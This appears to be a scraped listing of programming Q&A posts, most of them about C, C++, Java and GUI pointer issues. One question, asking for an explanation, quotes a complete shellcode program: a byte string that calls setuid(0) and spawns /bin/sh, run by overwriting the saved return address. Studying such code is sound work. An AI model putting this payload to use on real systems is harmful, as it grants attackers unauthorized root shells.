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  • Dynamically creating controls in MFC (Collection question)

    - by ProgramWriter
    Hello all, I have some custom control inside of which i should create radiobuttons or checkboxes. The count of child controls is available only at runtime (it loads some file from which it gets this count). So i need to create variable number of controls. Which collection i should use for this purpose? Solution 1: simply use std::vector (or CArray) - not suitable because i want use MFC (CButton). Of course i can Attach() and later Detach() handle to window each time i need this window, but it will give big overhead. Solution 2: use std::vector or CArray or CList or... In this case i take care about making 'new' and appropriate 'delete' when control is unneeded. I am forgetful :) MFC handle map contains pointer to CButton and i can't use simple CArray, because it will move my objects each time when his size will grow. ... and the question is: Which collection i should use for containing variable count of MFC control classes?

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  • fastest (low latency) method for Inter Process Communication between Java and C/C++

    - by Bastien
    Hello, I have a Java app, connecting through TCP socket to a "server" developed in C/C++. both app & server are running on the same machine, a Solaris box (but we're considering migrating to Linux eventually). type of data exchanged is simple messages (login, login ACK, then client asks for something, server replies). each message is around 300 bytes long. Currently we're using Sockets, and all is OK, however I'm looking for a faster way to exchange data (lower latency), using IPC methods. I've been researching the net and came up with references to the following technologies: - shared memory - pipes - queues but I couldn't find proper analysis of their respective performances, neither how to implement them in both JAVA and C/C++ (so that they can talk to each other), except maybe pipes that I could imagine how to do. can anyone comment about performances & feasibility of each method in this context ? any pointer / link to useful implementation information ? thanks for your help

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  • C SIGSEGV Handler & Mprotect

    - by pws5068
    I'm constructing a program which uses mprotect() to restrict a block of memory from accessing. When the memory is requested, a SIGSEGV is thrown which I listen for using a signal() call. Once the SIGSEGV has been detected, I need to somehow access the pointer to the memory that was requested (that threw the fault) and the size of the segment requested. Is this possible? void fifoSigHandler(){ // Needs to only remove protection from requested block of virtual memory mprotect(fifoVm,(size_t)fifoVm_size,PROT_WRITE); printf("Caught Seg Fault"); } void fifo_init(void* vm, int vm_size, int n_frames, int page_size) { fifoVm = vm; fifoVm_size = vm_size; fifoFrames = n_frames; fifoPageSize = page_size; mprotect(fifoVm,(size_t)fifoVm_size,PROT_NONE); signal(SIGSEGV, fifoSigHandler); } Additionally, is there a way to determine the level of mprotect() a block of memory is currently assigned (PROT_NONE,PROT_READ, etc..)?

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  • WebKit and npapi and mingw-w64

    - by rubenvb
    Hi, The problem is the following: On Windows x64, pointers are 64-bit, but type long is 32-bit. MSVC doesn't seem to care, and even omits warnings about pointer truncation on the default warning level. Since recently, there is a GCC that target x86_64-w64-mingw32, or better Windows x64 native. GCC produces errors when pointers are truncated (which is the logical thing to do...), and this is causing trouble in WebKit and more specifically, the Netscape Plugin API: First, there's the files (I can only post one hyperlink...): http://trac.webkit.org/browser/trunk/WebCore/ bridge/npapi.h -- defines uint32 as 32-bit int type (~line 145) plugins/win/PluginViewWin.cpp -- casts Windows window handles to 32-bit int, truncating them (~line 450) My proposed fix was to change the uint32 casts to uintptr_t, which makes GCC happy, but still puts a 64-bit value in a uint32 (=unsigned long). I have no clue how to solve this, because clearly WebKit is happy truncating pointers on Win64... How can I solve this the right way? Thanks!

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  • jaxb XmlAccessType: PROPERTY example

    - by Bjorn J
    I'm trying to use jaxb and want to use the 'XmlAccessType.PROPERTY' to let jaxb use getters/setters rather than variable directly, but get different errors depending on what I try, or the variable isn't set at all like I want. Any good link or pointer to a simple example? For example, the below makes the groupDefintion not to be set when parsing the xml document: @XmlAccessorType(javax.xml.bind.annotation.XmlAccessType.PROPERTY) public class E { private EGroup groupDefinition; public EGroup getGroupDefinition () { return groupDefinition; } @XmlAttribute public void setGroupDefinition (EGroup g) { groupDefinition = g; } }

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  • How to write Composition and Aggregation in java

    - by Mifas
    I want to know how to identify composition and aggregation code in java. I have C++ Code, But I don't understand how to write in java. Composition class A {}; class B { A composited_A; }; Aggregation via Pointer class A {}; class B { A* pointer_to_A; B(A anA){ pointer_to_A = &anA; } Can anyone please tell me how both are working in JAVA. (I know what is meant by Composition and aggregation ) };

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  • can anyone explain this code to me???

    - by Abed
    //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } can anyone give me a better explanation

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  • div center does not work for IE

    - by Jean
    Hello, I have this css position:relative; margin: 0 auto; top:50%; width:15px; height:15px; background-color:#fff; -moz-border-radius: 15px; -webkit-border-radius: 15px; cursor:pointer; Its centering fine on chrome and stays on top for IE and ff. removed and changed position: whats wrong here? Thanks Jean

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  • Java Memory Overhead

    - by flamealpha
    Hello, I would like to ask about Memory Overhead in java, I have a large ArrayList (61,770 items), and trying to calculate the amount of memory taken by each item (counting the object and its ArrayList entry), by profiling the app i get that after all the data is loaded, the heap takes ~ 25Mb. when the ArrayList has only 2 items the heap takes ~1Mb , so roughly: (24*1024*1024)/61,768 = 407 bytes. however, when i count the fields of the each object, i get 148 bytes(not including the ArrayList, and assuming int=4,float=4,reference=4), I am curious to know where did all of those extra bytes came from... i can guess that since the objects I store in the ArrayList are implementing an interface, they store extra values, maybe the VM stores a 4byte function pointer for each implemented method? the interface they implement have 20 functions so thats 80 more bytes, totaling 228 bytes, still not close to the 400 bytes measured. any help would be appreciated.

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  • jQuery UI sortable issue with helper Y offset value being same as scroll offset on FireFox only

    - by James
    I have a problem with a jQuery UI 1.7.2 sortable list in Firefox, IE7-8 work fine. When I'm scrolled down a bit, the helper element seems to have an offset of the same height that I'm scrolled down from the mouse pointer which makes it impossible to see which item you originally started dragging. How do I fix this or work around the issue? If there is no fix what is a really good alternative drag-able plugin? Here are my initialization parameters for the sortable. $("#sortable").sortable( {placeholder: 'ui-state-highlight' } ); $("#sortable").disableSelection();

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  • Allocated memory address clash

    - by Louis
    Hi, i don't understand how this happen. This is portion of my code.. int isGoal(Node *node, int startNode){ int i; . . } When i debug this using gdb i found out that 'i' was allocated at the memory address that have been previously allocated. (gdb)print &node->path->next $26 = (struct intNode **) 0xffbff2f0 (gdb) print &i $22 = (int *) 0xffbff2f0 node-path-next has been already defined outside this function. But as u can see they share the same address which at some point make the pointer point to another place when the i counter is changed. I compiled it using gcc on solaris platform Any helps would be really appreciated..

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  • PInvoke or using /clr:pure to compile

    - by Yin Zhu
    I have a set of numerical libraries in C++ and I want to call them interactively in a interpretive language like F# or IronPython. So I have two choices now: Compile the library in native DLL and use PInvoke to call functions in it. Compile the C++ library to .Net dll using visual c++ (/clr:pure compile option). The advantage of 1 is that it is very fast, however there are more work in it, e.g. I cannot PInvoke double pointer (e.g. float **), I must write another wrapper in the C++ library to make the interface friendly to .Net. The advantage of 2 is that I don't need to do know Mashaling strings, arrays, etc. However, the .net dll is slower compared to the native one. What others factors should be considered when choosing between the two?

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  • Why 2 GB memory limit when running in 64 bit Windows ?

    - by Roland Bengtsson
    I'm a member in a team that develop a Delphi application. The memory requirements are huge. 500 MB is normal but in some cases it got out of memory exception. The memory allocated in that cases is typically between 1000 - 1700 MB. We of course want 64-bits compiler but that won't happen now (and if it happens we also must convert to unicode, but that is another story...). My question is why is there a 2 GB memory limit per process when running in a 64 bit environment. The pointer is 32 bit so I think 4 GB would be the right limit. I use Delphi 2007.

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  • How to free member (i.e BSTR, SAFEARRAY, VARIANT) of an IDL User Defined Structure which is encapsul

    - by Picaro De Vosio
    Hi, I have a structure defined in IDL. This structure has following members: { BSTR m_sFirst; BSTR m_sSecond; VARIANT m_vChildStruct; //This member encapsulate a sub structure SAFEARRAY __RPC_FAR * m_saArray; }CustomINFO; I am allocating the memory for the structs using CoTaskMemAlloc and encapsulating it in Variant as follows: vV-vt = VT_RECORD; vV-pvRecord = pStruct; //Pointer of sturct vV-pRecInfo = pRI; //RecordInfo Interface Is it enough to call VariantClear to deallocate the memory of struct and its members? Will it also release the IRecordInfo interface? Or i have to manually get the encapsulated struct and deallocate each member myself and then use CoTaskMemFree to deallocate sturct. Thanks Picaro De Vosio

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  • Source code of books made with TeX/LaTeX to learn

    - by Diego Sevilla
    Some time ago, reading this entry I found a nice image and a pointer to a better book entitled "Thinking Forth". To my surprise, the LaTeX sources of the book were ready to download, with pearls like: %% There's no bold typewriter in Computer Modern. %% Emulate with printing several times, slightly moving \newdimen\poormove \poormove0.0666pt \newcommand{\poorbf}[1]{% \llap{\hbox to \poormove{#1\hss}}% \raise\poormove\rlap{#1\hss}% \lower\poormove\rlap{#1\hss}% \rlap{\hbox to \poormove{\hss}\hbox{#1}}% #1} %\let\poorbf=\textbf \renewcommand{\poorbf}[1]{{\fontencoding{OT1}\fontfamily{cmtt}\fontseries{b}\selectfont#1}} in which it can simulate the bold stroking of a font that doesn't have it. Since reading that, I was unaware of \llap and such, but now I can use them to define boxes, etc. So, my question is twofold: Do you know of sites that show that relatively advanced use of TeX/LaTeX in terms of useful recipes, and Do you know any books that offer their TeX/LaTeX source to inspect and learn (and that are worth doing so.)?

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  • Android programmatically add buttons to layout from string array

    - by Luke Batley
    Does anyone know how to programatically add buttons to the layout from an array? I have an array of titles and icons that i have used for a list view and now i'm wanting to reuse the same arrays to create a layout as displayed here so the layout adds a button for each item in the array and arranges them in 3's according to device width. is this possible to do? I have tried using a custom Array Adapter to generate the Grid but getting a null pointer error at the point menuGrid = (GridView) findViewById(R.id.gridView1); MenuItemsSetup menuData[] = new MenuItemsSetup[] { new MenuItemsSetup(R.drawable.ic_menu_icon1, "menuItem1"), new MenuItemsSetup(R.drawable.ic_menu_icon2, "menuItem2"), new MenuItemsSetup(R.drawable.ic_menu_icon3, "menuItem3"), new MenuItemsSetup(R.drawable.ic_menu_icon4, "menuItem4"), new MenuItemsSetup(R.drawable.ic_menu_icon5, "menuItem5"), new MenuItemsSetup(R.drawable.ic_menu_icon6, "menuItem6"), new MenuItemsSetup(R.drawable.ic_menu_icon7, "menuItem7"), new MenuItemsSetup(R.drawable.ic_menu_icon8, "menuItem8") }; String[] menuBgColours = {"#FFFFFF","#FFFFFF", ,"#888888", "#FFFFBB", "#BBFFFF","#000000", "#666666"}; CustomArrayAdapter adapter = new CustomArrayAdapter(this, R.layout.drawer_list_item, menuData, menuBgColours); menuList.setAdapter(adapter); menuGrid.setAdapter(adapter);

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  • How well do zippers perform in practice, and when should they be used?

    - by Rob
    I think that the zipper is a beautiful idea; it elegantly provides a way to walk a list or tree and make what appear to be local updates in a functional way. Asymptotically, the costs appear to be reasonable. But traversing the data structure requires memory allocation at each iteration, where a normal list or tree traversal is just pointer chasing. This seems expensive (please correct me if I am wrong). Are the costs prohibitive? And what under what circumstances would it be reasonable to use a zipper?

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  • how do i add two delegates to a ui element at run time?

    - by Michael Xu
    Hi everyone, im trying to implement some behaviors when a mapview element scrolls... by coding a delegate for the scrollview inside of a mapview. so, right now, i got a pointer to the scroll view used by the map view in my code. however, i wish to set the delegate of this scroll view inside the map view, but the issue is that the mapview already sets up a default delegate for this scroll view inside the map view. can i make my delegate implement all of the messages of the protocol, explicitly sending them to the mapview's default delegate while also implementing my own behaviors? how else can i go about adding my own delegate behavior, to an already existing default delegate....? thanks everyone, michael

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  • How to access pixels of an NSBitmapImageRep?

    - by Paperflyer
    I have an NSBitmapImageRep that is created like this: NSBitmapImageRep *imageRep = [[NSBitmapImageRep alloc] initWithBitmapDataPlanes:NULL pixelsWide:waveformSize.width pixelsHigh:waveformSize.height bitsPerSample:8 samplesPerPixel:4 hasAlpha:YES isPlanar:YES colorSpaceName:NSCalibratedRGBColorSpace bytesPerRow:0 bitsPerPixel:0]; Now I want to access the pixel data so I get a pointer to the pixel planes using unsigned char *bitmapData; [imageRep getBitmapDataPlanes:&bitmapData]; According to the Documentation this returns a C array of five character pointers. But how can it do that? since the type of the argument is unsigned char **, it can only return an array of chars, but not an array of char pointers. So, this leaves me wondering how to access the individual pixels. Do you have an idea how to do that? (I know there is the method – setColor:atX:y:, but it seems to be pretty slow if invoked for every single pixel of a big bitmap.)

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  • Using vertical-align on an element with background-image

    - by bobo
    <style type='text/css'> #span1{ background-image:url("http://www.reoiv.com/images/rss.jpg"); background-repeat:no-repeat; cursor:pointer; display:block; float:left; height:15px; width:15px; vertical-align:text-bottom; } </style> <span id='span1'></span>???? What I would like to do is to achieve the vertical align: text-bottom effect but I am not doing it on a image element. I am doing it on an element with background-image set. If you paste the above codes here: http://htmledit.squarefree.com/ You will see that the text failed to vertically align to bottom. I would like to know how it can be done without adding extra html element if possible. Many thanks to you all.

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  • Textbox height in a small browser window

    - by Fritz H
    Hi folks, I have here a peculiar problem. We have a RAP application intended for use on a PDA/phone, but when it is displayed in a small browser window, all the textboxes on the form(s) are too tall (around twice the height they should be). I've stepped through the code (The form is using GridLayout, number of columns=1, make columns equal=false) and have found that the TextSizeDetermination.getCharHeight() method returns an incorrect font size if the browser window is too small - 13px if the window is large, 26px (exactly double) if the window is too small. Interestingly enough, it seems that if the window is too small, probeStore.containsProbeResult(font) in that method returns true and uses probeStore.getProbeResult(...).getSize().y for the font size. Otherwise, if the window is larger, it returns false and uses TextSizeEstimation.getCharHeight(...). Does anyone have a pointer or two for getting around this? Dialog with a properly-sized window: Dialog with a small window:

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  • How to copy or duplicate gtk widgets?

    - by PP
    Hi, How to copy or duplicate gtk widgets? In my application I have one huge GtkComboBox created with one long for loop which eats up so much of time and I am using this combo at two places in one single screen. So, what I want to do is create this combo for one time and duplicate/copy it in another one so it will save my time. If I try to add same combo box pointer two times, gtk gives me error "child-paren != NULL" cause in gtk widget can have only single parent. So what to do? Thanks, PP.

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  • Stack calling convention between .NET & C on WinCE 6.0

    - by bernard
    Hi there. I'm porting a DLL written in C from WinCE 5.0 to WinCE 6.0 on an ARM target. This DLL is called by a .NET software. On WinCE5.0, everything runs fine. On WinCE6, I have the following problem: on InitInstance() of my DLL, I can call anything without problem (for example MessageBox()) or uses recursivity. Passed that point, the DLL is called by .NET code. And then it fails: even the arguments passed by .NET code seem weird. I can call MessageBox() once, but I can't call a function that calls MessageBox() and then that calls itself: recursivity is broken. It seems that the .NET code uses the stack in a different way than my C code. I'm very unfamillar with the Windows world and the company that gives me the .NET application does not understand yet why there is such a failure. Any pointer/hint/advice welcome! Thanks!

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  • Django excluding specific instances from queryset without using field lookup

    - by Agos
    Hi, I sometimes have the need to make sure some instances are excluded from a queryset. This is the way I do it usually: unwanted_instance = Mymodel.objects.get(pk=bad_luck_number) uninteresting_stuff_happens() my_results = MyModel.objects.exclude(id=unwanted_instance.id) or, if I have more of them: my_results = MyModel.objects.exclude(id_in=[uw_in1.id, uw_in2.id, uw_in3.id]) This 'feels' a bit clunky, so I tried if I was lucky: my_ideally_obtained_results = MyModel.objects.exclude(unwanted_instance) Which doesn't work. But I read here on SO that a subquery can be used as parameter for exclude. Am I out of luck? Am I missing some functionality (checked the docs, but didn't find any useful pointer)

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  • Dereferencing pointers without pointing them at a variable

    - by Miguel
    I'm having trouble understanding how some pointers work. I always thought that when you created a pointer variable (p), you couldn't deference and assign (*p = value) unless you either malloc'd space for it (p = malloc(x)), or set it to the address of another variable (p = &a) However in this code, the first assignment works consistently, while the last one causes a segfault: typedef struct { int value; } test_struct; int main(void) { //This works int* colin; *colin = 5; //This never works test_struct* carter; carter->value = 5; } Why does the first one work when colin isn't pointing at any spare memory? And why does the 2nd never work? I'm writing this in C, but people with C++ knowledge should be able to answer this as well.

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